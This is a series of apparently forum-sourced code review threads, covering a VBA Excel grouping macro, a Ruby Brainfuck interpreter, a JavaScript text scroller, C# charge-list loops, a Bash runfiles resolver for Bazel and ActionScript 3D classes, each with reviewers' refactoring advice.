Groups/colors/removes cells Based on the value of what is in column B (column A is hidden) it groups/colors/removes the corresponding node(s). "R - " values are nodes that need to be grouped. The rows are 6 cells apart before a new node starts. It also adds a formula below the value.

I wrote this code and it of course looks messy. I just want to know if there is a way to make it a little easier to understand.  It's not the best when it comes to recursion and I need to explain this to a few peers so they will be able to keep the model running as well.

Example:

Code for Review:

    'Set values to 5; first row to begin grouping
    Start_Row = 5
    Last_Row = 5

 Application.Wait Now + TimeValue("00:00:02")
 Application.StatusBar = "Grouping and formating workgroups..."

While WorksheetFunction.CountA(Rows(Start_Row)) <> 0

   'Color code certain ranges based on ending values of functions/nodes
   If (Right(range("B" & Start_Row).Value, 10) = "- Overhead" Or Right(range("B" & Start_Row).Value, 14) = "- Non Overhead" Or Right(range("B" & Start_Row).Value, 4) = "- WG") Then
        Finish_Row = Start_Row - 1
        Last_Row = Start_Row + 6
    End If

    With ActiveSheet
    lastRow_das_delete = .Cells(.Rows.Count, "A").End(xlUp).Row
    End With

    'Delete actual and support nodes, loop twice to remove R value rollups
    For double_actuals_support = 0 To lastRow_das_delete
    range("B" & (Start_Row + 1)).Formula = "=CONCATENATE(""~ "" & INDEX('Complete Database Pull'!B:B,MATCH(B" & Start_Row & ",'Complete Database Pull'!C:C,0)))"
    If Right(range("B" & Start_Row).Value, 19) = "- Actuals & Support" Then
        For adjust_delete = 0 To 5
            Rows(Start_Row).EntireRow.Delete
        Next adjust_delete
    End If
    Next double_actuals_support

    'Group R- nodes together
    If Left(range("B" & Start_Row).Value, 2) = "R-" And Start_Row <> 5 And Last_Row <> Start_Row Then
        Finish_Row = Start_Row - 1
        Rows(Finish_Row & ":" & Last_Row).Group
        Last_Row = Start_Row + 6
        'If R- is in the first row, don't group up
    ElseIf Left(range("B" & Start_Row).Value, 2) = "R-" And Start_Row = 5 Then
        Last_Row = Start_Row + 6
    End If

    'Color WG rows/columns
    If (Right(range("B" & Start_Row).Value, 10) = "- Overhead" Or Right(range("B" & Start_Row).Value, 14) = "- Non Overhead") Then
        range("B" & Start_Row & ":Y" & (Start_Row + 3)).Interior.Color = 15853276
        range("B" & Start_Row & ":B" & (Start_Row + 5)).Interior.Color = 15853276
    End If

    If Right(range("B" & Start_Row).Value, 4) = "- WG" Then
        range("B" & Start_Row & ":Y" & (Start_Row + 3)).Interior.Color = 15523812
        range("B" & Start_Row & ":B" & (Start_Row + 5)).Interior.Color = 15523812
        Last_Row = Start_Row + 6
    End If

    'Adjust Start_Row 6 rows
    Start_Row = Start_Row + 6
Wend

Side-scrolling

Don't make do it. If a line of code doesn't fit comfortably inside the code pane of the IDE with a reasonable window size, it's too long. If the code line actually has to be that long, take advantage of VBA's line continuation operator (_) and break it up so you can see the whole line at once. The If tests are especially problematic, given that by the time I've scrolled right far enough to see the last condition I can't see what gets executed if it's true.

Naming

Although the actual naming convention you use is a question of taste, it is good to be consistent. I typically follow a convention similar to the one outlined over on the SO documentation page for Naming Conventions. You have a mix of Pascal and lower snake case for (what appear to be) local variables - i.e. Start_Row and double_actuals_support.

More important is the variables named *_Row. You have Start_Row, Last_Row, and Finish_Row,  These are frankly confusing as to what they are referring to. All of those names imply that they are more or less constant values, but all of them change.  I think of a start row as the first row on a sheet and last row as the last row on the sheet.  Since Start_Row is the holding your loop counter, I'd suggest something more like workingRow or currentRow. Last_Row appears to refer to the last row of each node (it is always offset by 6), so it would be more appropriately named something like nodeEndRow.  Finally Finish_Row appears to be set to the last row of the previous node, so something like previousNodeEnd would be appropriate.

Best Practices

Indentation isn't consistent, but it's hard to tell whether that's an artifact of copying and pasting or not.  You can fix it with Rubberduck's SmartIndenter feature (full disclosure, I'm a contributor).

You should qualify all of your Range and Cells calls to avoid using the global collections (if the code isn't in a worksheet module). Wrap the whole thing in With ActiveSheet (or even better, a worksheet code name like With Sheet1) if it's anywhere other than a worksheet module, otherwise wrap the whole thing in With Me.

Use the String returning versions of functions (they end with $) instead of Variant returning functions when they are available to avoid implicit casts. You can find a list of them here.

Declare your variables and add Option Explicit to your modules.  Otherwise they are implicitly Variant, and this can cause a host of issues. If they are declared somewhere above the code that was posted, they should be moved closer to where they are being used.  For example, double_actuals_support and adjust_delete are what appear to be throw-away loop counters. There's no reason you should need to go somewhere else to see how they're defined.

It's not clear why you call Application.Wait Now + TimeValue("00:00:02") at the start.  If there's a reason you need to do that, comment it.  Also, while updating the status bar is useful, you should immediately call DoEvents after updating it so that the screen can refresh.  Although, it's possible you wont' need it once the row delete issue is addressed, which leads me to...

Skip the row delete gymnastics

I literally had to stare at this section of code for about 5 minutes before I could determine that it probably wasn't actually a bug (and I can still only make an educated guess as to why it's there):

'Delete actual and support nodes, loop twice to remove R value rollups
For double_actuals_support = 0 To lastRow_das_delete
range("B" & (Start_Row + 1)).Formula = "=CONCATENATE(""~ "" & INDEX('Complete Database Pull'!B:B,MATCH(B" & Start_Row & ",'Complete  Database Pull'!C:C,0)))"
If Right(range("B" & Start_Row).Value, 19) = "- Actuals & Support" Then
    For adjust_delete = 0 To 5
        Rows(Start_Row).EntireRow.Delete
    Next adjust_delete
End If
Next double_actuals_support

First, the comment is extremely misleading - this doesn't loop twice, it loops through the every row of the worksheet. As it looks like you found out, deleting rows while you're looping through them alters the row index.  From the above section of code, it appears that you are just reloading the the worksheet from that point down if you have to delete something. This is incredibly inefficient.

There are 3 much easier and much faster ways to handle this.  Either loop through the rows backwards, accumulate the rows that need to be deleted and delete them all at once when you're done, or conditionally increment your row counter.  If I'm misunderstanding the purpose of this code, you do have a bug, because there isn't anything else in your code that adjusts the indexing for deleted rows.

Note that this is the only thing I could find that indicated "recursion" in the code you posted.  There aren't any function calls and I wouldn't know the name of the posted function anyway.

Avoid repeated function call and Worksheet accesses

If the return value of a function call or property is guaranteed to be identical over multiple calls, you should cache the value in a local variable instead of repeatedly requesting it.  This line is a perfect example (line continuations added for clarity):

 If (Right(range("B" & Start_Row).Value, 10) = "- Overhead" Or _
     Right(range("B" & Start_Row).Value, 14) = "- Non Overhead" Or _
     Right(range("B" & Start_Row).Value, 4) = "- WG") Then

The value of Range("B" & Start_Row).Value is going to be exactly the same for the 3 times you're requesting it. This would be much better:

Dim pulled As String
pulled = Range("B", workingRow).Value

If (Right(pulled, 10) = "- Overhead" Or Right(pulled, 14) = "- Non Overhead" Or _
    Right(pulled, 4) = "- WG") Then

Note that your lines are getting shorter now too.

Repeated code

There's a consistent pattern that you repeat over and over again.  Going back to the same line of code as above, you make multiple tests to see if a given string ends with another string similar to this:

If (Right(range("B" & Start_Row).Value, 10) = "- Overhead" ...

I'd throw in a couple simple utility functions called EndsWith and StartsWith and use those instead (StartsWith would be similar):

'Tests to see if a string ends with any of the passed candidates.
Public Function EndsWith(test As String, ParamArray candidates() As Variant) As Boolean
    Dim candidate As Variant
    For Each candidate In candidates
        Dim chars As Long
        chars = Len(candidate)
        If Len(candidate) <= test Then
            If Right$(test, chars) = candidate Then
                EndsWith = True
                Exit Function
            End If
        End If
    Next
End Function

This has several advantages:

It makes the code much clearer as to the intent.
It gets rid of all of the hard coded string lengths that are prone to errors.
It almost completely solves the side scrolling issue.
It short-circuits on the first match (If x Or y Or z doesn't).

The line referenced above can now be something like:

If EndsWith(pulled, "- Overhead", "- Non Overhead", "- WG") Then

Use numeric column indexes and constants

The only reason that Excel has letters for column identifiers is because they are easier for humans to read - it ultimately treats column indexes as a numbers internally. So, it's a (albeit small) performance improvement to use numeric range indexing rather than string indexing because Excel just has to parse it.  Also, for individual cells, using .Cells is much better than using the .Range because Excel doesn't have to do any parsing.

'Good
Range("B", workingRow).Value
'Better
Cells(workingRow, 2).Value

While it's easier to see "B" than to have to mentally calculate that it would be column 2 , it's important to remember that "B" is just as much of a "magic letter" as 2 is a magic number.  You can make code much more readable by defining and using constants for them. This also makes the code tremendously easier to maintain - think about how many places you would need to make changes if your columns all shifted one to the right.  If it's in a constant, you only need to change it in one place:

'Module level
Private Const ROW_INDEX_COLUMN As Long = 1
Private Const DATA_ID_COLUMN As Long = 2
Private Const END_COLUMN As Long = 25
'...
'Best
Cells(workingRow, DATA_ID_COLUMN).Value

Another perfect candidate for a constant would be NODE_LENGTH As Long = 6.

Extract methods for common code

The code used for formatting the cells is pretty much identical other than the colors being used.  Instead of repeating the code twice here...

'Color WG rows/columns
If (Right(range("B" & Start_Row).Value, 10) = "- Overhead" Or Right(range("B" & Start_Row).Value, 14) = "- Non Overhead") Then
    range("B" & Start_Row & ":Y" & (Start_Row + 3)).Interior.Color = 15853276
    range("B" & Start_Row & ":B" & (Start_Row + 5)).Interior.Color = 15853276
End If

If Right(range("B" & Start_Row).Value, 4) = "- WG" Then
    range("B" & Start_Row & ":Y" & (Start_Row + 3)).Interior.Color = 15523812
    range("B" & Start_Row & ":B" & (Start_Row + 5)).Interior.Color = 15523812
    Last_Row = Start_Row + 6
End If

...it would be more readable and maintainable if you made a separate Sub that performed the formatting.  Something like this:

Private Sub FormatDataNode(anchor As Range, colorIndex As Long)
    Dim r As Long, c As Long
    r = anchor.Row
    c = anchor.Column
    With anchor.Parent
        .Range(.Cells(r, c), .Cells(r + 3, END_COLUMN)).Interior.Color = colorIndex
        .Range(.Cells(r, c), .Cells(r + 5, c)).Interior.Color = colorIndex
    End With
End Sub

Then you can simplify the code in the loop to something more like this:

Private Const WG_COLOR As Long = 15523812
Private Const NON_WG_COLOR As Long = 15853276
'...
'Color WG rows/columns
If EndsWith(pulled, "- Overhead", "- Non Overhead") Then
    FormatDataNode Cells(workingRow, DATA_ID_COLUMN), NON_WG_COLOR
ElseIf EndsWith(pulled, "- WG") Then
    FormatDataNode Cells(workingRow, DATA_ID_COLUMN), WG_COLOR
    nodeEndRow = workingRow + NODE_LENGTH
End If

Conclusion

Overall nothing horrible - the suggestions above will make it much more readable.  My guess is that taking a different strategy to deleting rows will have a huge impact in both performance and correctness.  After that's sorted out, my guess is that this code can be simplified tremendously - feel free to post a follow-up question after your first refactoring round.


Ruby Brainfuck interpreter I recently wrote a simple Brainfuck interpreter in Ruby:

require "io/console"

$VALID = "+-<>.,"

def parse(code, level=0)
    ast = []
    while !code.empty? do
        c = code.shift
        if c == "]" then
            if level == 0 then
                throw Exception.new "Unmatched brackets"
            else
                return ast
            end
        end
        if c == "[" then
            ast.push parse(code, level+1)
        elsif $VALID.include? c then
            ast.push c
        end
    end
    if level != 0 then
        throw Exception.new "Unmatched brackets"
    end
    ast
end

class BF
    def initialize
        @tape = Array.new 3e4, 0
        @ptr = 3e4.to_i / 2
    end

    def run(ast)
        ast.each {|e|
            if e.kind_of? Array then
                while @tape[@ptr] != 0 do
                    self.run e
                end
            else
                case e
                when "+"
                    @tape[@ptr] += 1
                when "-"
                    @tape[@ptr] -= 1
                when ">"
                    @ptr += 1
                when "<"
                    @ptr -= 1
                when "."
                    STDOUT.write @tape[@ptr].chr
                when ","
                    @tape[@ptr] = STDIN.getch.ord
                end
                @tape[@ptr] &= 0xFF
            end
        }
    end
end

if ARGV[0] == nil then
    puts "Simple BrainFuck interpreter"
    puts "Usage: #{$0} <file>"
    exit 1
end
bf = BF.new
bf.run parse(File.read(ARGV[0]).chars)

I am pretty bad at Ruby, can someone review this?

Global variables should always be avoided, so instead of $VALID it should simply be VALID. The entire Ruby ecosystem does not need access to that variable and it might overwrite some important variable somewhere.

Instead of Exception you should be using StandardError. Rubyists do not rescue Exceptions ever really because it catches every single possible exception or error, so if someone (including you) wants to rescue from parse, it will be confusing and non idiomatic. Exception is the top level class for all errors, including syntax errors, interruption errors, and memory errors. I would recommend either doing the simple fail "Error", or take a more object oriented approach (which will improve potential rescues) and create a new error object, perhaps UnmatchedBracketsError which inherits StandardError. This also means that when you decide to change the message, you only need to change it in the UnmatchedBracketsError class rather than in both of the identical throw calls.

I may be misunderstanding the scoping decisions taken here but it seems like parse should be a method in the BF class. It can be "static" by doing def self.parse, but it just seems weird to have it in the main namespace. Moving that would also mean it would make sense to move VALID out of the main namespace and into BF.

Array#<< is faster than Array#push so I recommend using that.

Now for the stylistic things.

Typically, multiline blocks are defined using do end syntax rather than {}. So

ast.each {|e|
    ...
}

becomes

ast.each do |e|
    ...
end

Every instance of then in your code is unnecessary.

For that ARGV[0] == nil call, firstly it can be optimized to ARGV[0].nil?. After that, it might be better to use the boolean-y value of ARGV[0]. So if ARGV[0] == nil -> if ARGV[0].nil? -> unless ARGV[0].

if level != 0 then
    throw Exception.new "Unmatched brackets"
end

can be shortened to throw Exception.new("Unmatched brackets") if level != 0.

Both of your while loops are using negated conditionals, which means they can be idiomatically changed to until loops. while !empty? can become until empty? and while a != 0 can become until a == 0.

Lastly, I'm pretty sure self can be omitted in the run call.


Efficient text scroller I wrote this small test, i would love to know if it's possible to achieve the same result in a more "efficient" way, before any moderator closes this question, it's not subjective because my defention of efficient here means less lines of code, and less memory usage.

Here is a Demo :
http://jsfiddle.net/YsjLp/

and here is the JS code :

var position = 0;
var divToEdit = document.getElementById('here');

function executeIt(){
    setInterval(function(){moveIt()},300);
}

function moveIt(){
    var textToInsert = '';
    var textLength = 10;

    for (var i = 0; i <= textLength; i++) {

        if(i == position){
            textToInsert += '[-]';
        }else{
            textToInsert += '-';
        }
    };

    if(position == textLength){
        position = 0;
    }else{
        position += 1;
    }

    divToEdit.innerHTML = textToInsert;
}

executeIt();

As you define efficient to be "less lines of code", here it is:

function moveIt(){
    var textToInsert = '';
    var textLength = 10;

    for (var i = 0; i <= textLength; i++)
        textToInsert+= (i==position)?'[-]':'-';
    (position==textLength)?position=0:position++;
    divToEdit.innerHTML = textToInsert;
}

Demo: http://jsfiddle.net/YsjLp/3/


Client trip type contracts I want to make this code generic, so that I could remove if/else and recursive for loops.

I am open to accept all kind of suggestions regarding common interface implementation but kindly check that their property names FKID are different, and as these are POCO entities I can't change the proper names.

var newClientTripTypeContracts = newClientTripTypeContract.ClientTripTypeContractChargeValueLists.Where(u => u.ClientTripTypeContractChargeValueListID == 0).ToList();

    int counter = -1;
    for (int i = 0; i < newClientTripTypeContracts.Count; i++)
    {
        newClientTripTypeContracts[i].ClientTripTypeContractChargeValueListID = counter;
        if (newClientTripTypeContracts[i].ChargeBITValues.Count > 0)
        {
            for (int j = 0; j < newClientTripTypeContract.ClientTripTypeContractChargeValueLists[i].ChargeBITValues.Count; j++)
            {
                newClientTripTypeContract.ClientTripTypeContractChargeValueLists[i].ChargeBITValues[j].ChargeBITValueFKID = counter;
            }
        }
        else if (newClientTripTypeContracts[i].ChargeDECIMALValues.Count > 0)
        {
            for (int j = 0; j < newClientTripTypeContract.ClientTripTypeContractChargeValueLists[i].ChargeDECIMALValues.Count; j++)
            {
                newClientTripTypeContract.ClientTripTypeContractChargeValueLists[i].ChargeDECIMALValues[j].ChargeDECIMALValueFKID = counter;
            }
        }
        else if (newClientTripTypeContracts[i].ChargeENUMValues.Count > 0)
        {
            for (int j = 0; j < newClientTripTypeContract.ClientTripTypeContractChargeValueLists[i].ChargeENUMValues.Count; j++)
            {
                newClientTripTypeContract.ClientTripTypeContractChargeValueLists[i].ChargeENUMValues[j].ChargeENUMValueFKID = counter;
            }
        }
        else if (newClientTripTypeContracts[i].ChargeTierMONEYValues.Count > 0)
        {
            for (int j = 0; j < newClientTripTypeContract.ClientTripTypeContractChargeValueLists[i].ChargeTierMONEYValues.Count; j++)
            {
                newClientTripTypeContract.ClientTripTypeContractChargeValueLists[i].ChargeTierMONEYValues[j].ChargeTierMONEYValueFKID = counter;
            }
        }
        counter -= 1;
    }

Bug? In each of your 4 inner for loops, your code is referencing the following:

newClientTripTypeContract.ClientTripTypeContractChargeValueLists[i]

Shouldn't it be this, instead?

newClientTripTypeContracts[i]

EDIT: I missed the OP's restriction in the question that indicated that property names couldn't be changed.  I've added another section at the bottom to attempt to modify my original answer to accomodate this restriction.

Making some assumptions about your data structures, I'd try consolidating the code with the following approach:

Since it seems like your ChargeBITValues, ChargeDECIMALValues, ChargeENUMValues, and ChargeTierMONEYValues lists contain similar-but-different objects, I would first ensure that they are related by deriving from a common base class.  I would define the heirarchy as follows:

abstract class ChargeValue
{
    public abstract int ChargeValueFKID { get; set; }
}

class ChargeBITValue : ChargeValue
{
    // TODO: implement the ChargetValueFKID property
}

class ChargeDECIMALValue : ChargeValue
{
    // TODO: implement the ChargetValueFKID property
}

class ChargeENUMValue : ChargeValue
{
    // TODO: implement the ChargetValueFKID property
}

class ChargeTierMONEYValue : ChargeValue
{
    // TODO: implement the ChargetValueFKID property
}

Notice that the base class has an abstract ChargeValueFKID property.  This property can be overridden in each derived class, and is intended to replace or work with the ChargeBITValueFKID, ChargeDECIMALValueFKID, ChargeENUMValueFKID, and ChargeTierMONEYFKID properties that are in your original code.

Next, I would create an "ApplyCharges" method to perform the same task as in each of your 4 inner for loops.  You could define it as something like the following. Alternatively, you could make this a public instance method of the ClientTripTypeContract class:

static bool ApplyCharges(ClientTripTypeContract contract, IList<ChargeValue> charges, int fkid)
{
    if (charges == null || charges.Count == 0)
        return false;

    foreach (var charge in charges)
    {
        charge.ChargeValueFKID = fkid;
    }

    return true;
}

Finally, I'd update your original code to the following:

    var newClientTripTypeContracts = newClientTripTypeContract.ClientTripTypeContractChargeValueLists.Where(u => u.ClientTripTypeContractChargeValueListID == 0).ToList();

    int counter = -1;
    foreach(var contract in newClientTripTypeContracts)
    {
        contract.ClientTripTypeContractChargeValueListID = counter;

        bool chargesApplied = false;

        if (!chargesApplied)
            chargesApplied = ApplyCharges(contract, contract.ChargeBITValues, counter);
        if (!chargesApplied)
            chargesApplied = ApplyCharges(contract, contract.ChargeDECIMALValues, counter);
        if (!chargesApplied)
            chargesApplied = ApplyCharges(contract, contract.ChargeENUMValues, counter);
        if (!chargesApplied)
            chargesApplied = ApplyCharges(contract, contract.ChargeTierMONEYValues, counter);

        counter -= 1;
    }

Hopefully this will at least get you started and maybe give you a few ideas.  You could probably come up with a cleaner or more specific approach that makes more sense, since you have the knowledge around what these data structures mean.

EDIT:
You could, perhaps simplify your data structures with the following changes:

Add a ChargeType property to the ChargeValue base class.  Create a ChargeType enum with the following values:  Bit, Decimal, Enum, and TierMoney.

enum ChargeType
{
    Bit,
    Decimal,
    Enum,
    TierMoney,
}

abstract class ChargeValue
{
    public abstract ChargeType ChargeType { get; }

    public abstract int ChargeValueFKID { get; set; }
}

Then, Instead of having the 4 properties ChargeBITValues, ChargeDECIMALValues, ChargeENUMValues, and ChargeTierMONEYValues, you could simply have 1 property called ChargeValues, which contains all of the charge values from all of those properties.  You could even keep those 4 original properties, but I would make them read-only and have them return an IEnumerable<ChargeValue> object; adding/removing charge values should be done to the ChargeValues property.  An example is shown below:

class ClientTripTypeContract
{
    // ChargeValues replaces the original ChargeBITValues, ChargeDECIMALValues, ChargeENUMValues, and ChargeTierMONEYValues properties
    public IList<ChargeValue> ChargeValues { get; private set; }

    public IEnumerable<ChargeBITValue> ChargeBITValues
    {
        get { return this.ChargeValues.Where(charge => charge.ChargeType == ChargeType.Bit).Cast<ChargeBITValue>(); }
    }

    public IEnumerable<ChargeDECIMALValue> ChargeDECIMALValues
    {
        get { return this.ChargeValues.Where(charge => charge.ChargeType == ChargeType.Decimal).Cast<ChargeDECIMALValue>(); }
    }

    public IEnumerable<ChargeENUMValue> ChargeENUMValues
    {
        get { return this.ChargeValues.Where(charge => charge.ChargeType == ChargeType.Enum).Cast<ChargeENUMValue>(); }
    }

    public IEnumerable<ChargeTierMONEYValue> ChargeTierMONEYValues
    {
        get { return this.ChargeValues.Where(charge => charge.ChargeType == ChargeType.TierMoney).Cast<ChargeTierMONEYValue>(); }
    }
}

According to the OP's question, the properties of the data structure classes can't be changed/renamed, so below is my attempt to take the suggestions mentioned above and still work with that restriction:

Below, I've removed the ChargeValue base class and replaced it with an IChargeValue interface.  You can have each Charge*Value class implement this interface.  In the example code below, I've implemented that interface explicitly so that the properties of that interface do not show up as public properties; I don't know if that matters...perhaps an OR mapper tool that you are using looks at the public properties.  Alternatively, there ought to be some mechanism that your OR mapper uses that allows you to ignore these properties.

    enum ChargeType
    {
        Bit,
        Decimal,
        Enum,
        TierMoney,
    }

    interface IChargeValue
    {
        ChargeType ChargeType { get; }

        int ChargeValueFKID { get; set; }
    }

    class ChargeBITValue : IChargeValue
    {
        int ChargeBITValueFKID { get; set; }

        ChargeType IChargeValue.ChargeType
        {
            get { return ChargeType.Bit; }
        }

        int IChargeValue.ChargeValueFKID
        {
            get { return this.ChargeBITValueFKID; }
            set { this.ChargeBITValueFKID = value; }
        }
    }

    class ChargeDECIMALValue : IChargeValue
    {
        int ChargeDECIMALValueFKID { get; set; }

        ChargeType IChargeValue.ChargeType
        {
            get { return ChargeType.Decimal; }
        }

        int IChargeValue.ChargeValueFKID
        {
            get { return this.ChargeDECIMALValueFKID; }
            set { this.ChargeDECIMALValueFKID = value; }
        }
    }

    class ChargeENUMValue : IChargeValue
    {
        int ChargeENUMValueFKID { get; set; }

        ChargeType IChargeValue.ChargeType
        {
            get { return ChargeType.Enum; }
        }

        int IChargeValue.ChargeValueFKID
        {
            get { return this.ChargeENUMValueFKID; }
            set { this.ChargeENUMValueFKID = value; }
        }
    }

    class ChargeTierMONEYValue : IChargeValue
    {
        int ChargeTierMONEYValueFKID { get; set; }

        ChargeType IChargeValue.ChargeType
        {
            get { return ChargeType.TierMoney; }
        }

        int IChargeValue.ChargeValueFKID
        {
            get { return this.ChargeTierMONEYValueFKID; }
            set { this.ChargeTierMONEYValueFKID = value; }
        }
    }

Using this approach, you could modify the "ApplyCharges" method mentioned above to the following:

    static bool ApplyCharges(IEnumerable<IChargeValue> charges, int fkid)
    {
        if (charges != null && charges.Any())
        {
            foreach (var charge in charges)
            {
                charge.ChargeValueFKID = fkid;
            }

            return true;
        }
        else
        {
            return false;
        }
    }

And you can call this method using the following:

        // NOTE: the .ToList() call on this line is not required, because the code below uses a foreach loop instead of a for loop.
        var newClientTripTypeContracts = newClientTripTypeContract.ClientTripTypeContractChargeValueLists.Where(u => u.ClientTripTypeContractChargeValueListID == 0).ToList();

        int counter = -1;
        foreach (var contract in newClientTripTypeContracts)
        {
            contract.ClientTripTypeContractChargeValueListID = counter;

            bool chargesApplied = false;

            if (!chargesApplied)
                chargesApplied = ApplyCharges(contract.ChargeBITValues.Cast<IChargeValue>(), counter);
            if (!chargesApplied)
                chargesApplied = ApplyCharges(contract.ChargeDECIMALValues.Cast<IChargeValue>(), counter);
            if (!chargesApplied)
                chargesApplied = ApplyCharges(contract.ChargeENUMValues.Cast<IChargeValue>(), counter);
            if (!chargesApplied)
                chargesApplied = ApplyCharges(contract.ChargeTierMONEYValues.Cast<IChargeValue>(), counter);

            counter -= 1;
        }

Although not used in the example above, you could also add a ChargeValues property to the ClientTripTypeContract class, as shown below:

    class ClientTripTypeContract
    {
        public IList<ChargeBITValue> ChargeBITValues { get; private set; }
        public IList<ChargeDECIMALValue> ChargeDECIMALValues { get; private set; }
        public IList<ChargeENUMValue> ChargeENUMValues { get; private set; }
        public IList<ChargeTierMONEYValue> ChargeTierMONEYValues { get; private set; }

        public IEnumerable<IChargeValue> ChargeValues
        {
            get { return this.ChargeBITValues.Cast<IChargeValue>().Concat(this.ChargeDECIMALValues).Concat(this.ChargeENUMValues).Concat(this.ChargeTierMONEYValues); }
        }
    }

The ChargeValues property just consolidates all of the charges contained in the other properties into a single IEnumerable<IChargeValue> object, so that you can more easily iterate over all of the charges without duplicating code.

The bottom line is that if you want to simplify your code and reduce redundancy, then you will need to somehow add some semantics to your data structures to indicate that the different types of charges are in some ways the same.  In my examples, I tried to add those semantics by either inheriting from a common base class or implementing a common interface.  If you simply cannot change the code for those classes at all, then another option that would require more work and more refactoring would be to create a layer of abstraction by defining your own wrapper classes.  These wrapper classes would encapsulate your existing classes and would expose public properties and methods to allow your application code to manipulate the underlying data.

Update: below is a more simple approach to condensing the original code.

This approach doesn't rely on any data structure changes.  This is a bare-bones approach to simplifying the original code.

First, define a ForEach extension method.  This is just a utility method, so it is not at all specific to this problem:

public static class EnumerableExtensions
{
    public static void ForEach<T>(this IEnumerable<T> source, Action<T> action)
    {
        foreach (var item in source)
        {
            action(item);
        }
    }
}

Next, update the original code to the following:

    var newClientTripTypeContracts = newClientTripTypeContract.ClientTripTypeContractChargeValueLists.Where(u => u.ClientTripTypeContractChargeValueListID == 0).ToList();

    int counter = -1;
    foreach (var contract in newClientTripTypeContracts)
    {
        contract.ClientTripTypeContractChargeValueListID = counter;

        if (contract.ChargeBITValues.Any())
            contract.ChargeBITValues.ForEach(charge => charge.ChargeBITValueFKID = counter);
        else if (contract.ChargeDECIMALValues.Any())
            contract.ChargeDECIMALValues.ForEach(charge => charge.ChargeDECIMALValueFKID = counter);
        else if (contract.ChargeENUMValues.Any())
            contract.ChargeENUMValues.ForEach(charge => charge.ChargeENUMValueFKID = counter);
        else if (contract.ChargeTierMONEYValues.Any())
            contract.ChargeTierMONEYValues.ForEach(charge => charge.ChargeTierMONEYValueFKID = counter);

        counter -= 1;
    }

I don't think this code can be condensed much/any further without modifying the data structures.


Finding a Bash script's Runfiles as generated by Bazel When building a sh_binary with dependencies using Bazel, a tree of Runfiles containing the dependencies is generated:

my_executable
my_executable.sh
my_executable.runfiles/
    __main__/
        a_dependency/
            lib_dependency.sh

When deploying such a binary to a typical Unix filesystem, one would install the above file tree to /usr/local/opt/my_executable for example. Binaries however are usually linked to the /usr/local/bin directory:

ln -s /usr/local/opt/my_executable/my_executable /usr/local/bin/my_executable

Like this, it is possible to run the executable as my_executable from anywhere on the system. However the trivial approach of finding the runfiles with

RUNFILES="${BASH_SOURCE[0]}.runfiles/__main__"

then fails since ${BASH_SOURCE[0]} refers to the symlink. Preferably it would be possible to find Runfiles for an arbitrary number of "indirections" using symlinks. The following snippet provides a cross-platform implementation, that searches for a script's Runfiles by successively following symlinks.

# Determine the script's executable name
if [[ ! -v EXEC_NAME ]]; then
  export EXEC_NAME="${BASH_SOURCE[0]##*/}"
fi

# Determine the script's runfiles location, possibly resolving symlinks
if [[ ! -v RUNFILES ]]; then
  EXEC_PATH="${BASH_SOURCE[0]}"
  while [[ ! -a "$EXEC_PATH.runfiles" ]]; do
    if [[ ! -h "$EXEC_PATH" ]]; then
      printf "$EXEC_NAME: error: could not find runfiles\n" 1>&2
      exit 1
    fi
    EXEC_PATH=$(readlink "$EXEC_PATH")
  done
  export EXEC_PATH
  export RUNFILES="$EXEC_PATH.runfiles/__main__"
fi

And later in the script, it is then possible to use the dependency like this:

source "$RUNFILES/a_dependency/lib_dependency.sh"

The following snippet provides a cross-platform implementation

That looks correct, but the script requires Bash 4, and I don't see any validation of that.

Actually, the only Bash 4 feature is the -v VAR operator of [[,
used as [[ ! -v VAR ]].
I would replace that with [[ ! "$VAR" ]],
even if it's not exactly the same thing,
but probably good enough.

Do you really need the [[ ! -v EXEC_NAME ]] check?
I don't see a point in a caller overriding this,
so I would drop the condition.

From the snippet it's not clear why this variable is exported with the export keyword.
I would review this point, and if there is no reason to export it,
then drop the export.

It seems to me the script is intended to be executed,
as opposed to being sourced.
In this case, you could use $0 as the name of the executable,
no need for the tedious ${BASH_SOURCE[0]}.

According to help test:

-a FILE        True if file exists.
...
-e FILE        True if file exists.

Although using -a is correct, I prefer -e, because it's easy to associate with the word "exists".
I had to look up help test to verify what is -a.

Instead of printf "...\n" it's simpler to write echo "...",
the \n is automatically added,
and the posted snippet doesn't use any interesting feature of printf.

Instead of:

EXEC_PATH="${BASH_SOURCE[0]}"
...
export EXEC_PATH

I would write:

export EXEC_PATH="${BASH_SOURCE[0]}"


Actionscript 3.0, good OOP? I have been coding for some time (3 years I think), and have recently been wondering if my coding pattern is any good. Any kind of feedback is welcome:

EDIT: The thing that concerns me most is that I have read a lot around that getters/setters are bad for OOP. Is this true?

//Point3D.as
public class Point3D
{
    private var _x:int;
    private var _y:int;
    private var _z:int;

    public function Point3D(tx:int = 0, ty:int = 0, tz:int = 0)
    {
        _x = tx;
        _y = ty;
        _z = tz;
    }

    public function get x():int { return _x; }
    public function set x(tv:int):void { _x = tv; }

    public function get y():int { return _y; }
    public function set y(tv:int):void { _y = tv; }

    public function get z():int { return _z; }
    public function set z(tv:int):void { _z = tv; }

}

//Geometry3D.as
public class Geometry3D
{
    private var _indices:Vector.<uint>;
    private var _vertices:Vector.<Number>;

    public function Geometry3D(tindices:Vector.<uint>,
    tvertices:Vector.<Number>)
    {
        _indices = tindices;
        _vertices = tvertices;
    }

    public function get indices():Vector.<uint> { return _indices; }
    public function get vertices():Vector.<Number> { return _vertices; }

}

//Primitive3D.as
public class Primitive3D
{
    private var _position:Point3D;
    private var _geometry:Geometry3D;

    public function Primitive3D(tx:int, ty:int, tz:int, tgeometry:Geometry3D)
    {
        _position = new Point3D(tx, ty, tz);
        _geometry = tgeometry;
    }

    public function get position():Point3D { return _position; }
    public function get geometry():Geometry3D { return _geometry; }

    public function render():void
    {
        //add render code here
    }

}

//TrianglePrimitive.as
public class TrianglePrimitive extends Primitive3D
{

    public function TrianglePrimitive(tx:int, ty:int, tz:int)
    {
        var indices:Vector.<uint> = Vector.<uint>([
        0, 1, 2]);
        var vertices:Vector.<Number> = Vector.<Number>([
        ]);

        var geo:Geometry3D = new Geometry3D(indices, vertices);
        super(tx, ty, tz, geo);
    }

    public function spin(tradians:Number):void
    {
        //add spin code here
    }

}

//Main.as
...
var tri:TrianglePrimitive = new TrianglePrimitive(0, 0, 0);
tri.position.z = -4;
tri.spin(Math.PI / 2); //90 degrees
tri.render();
...

Again, thanks a bunch for any feedback!

Looks good to me. Only thing I would say is:

The accessor methods (get / set) in Point3D are unnecessary as they don't do any processing or restrict any access. The class would be better suited to have simple, public x, y, z properties.
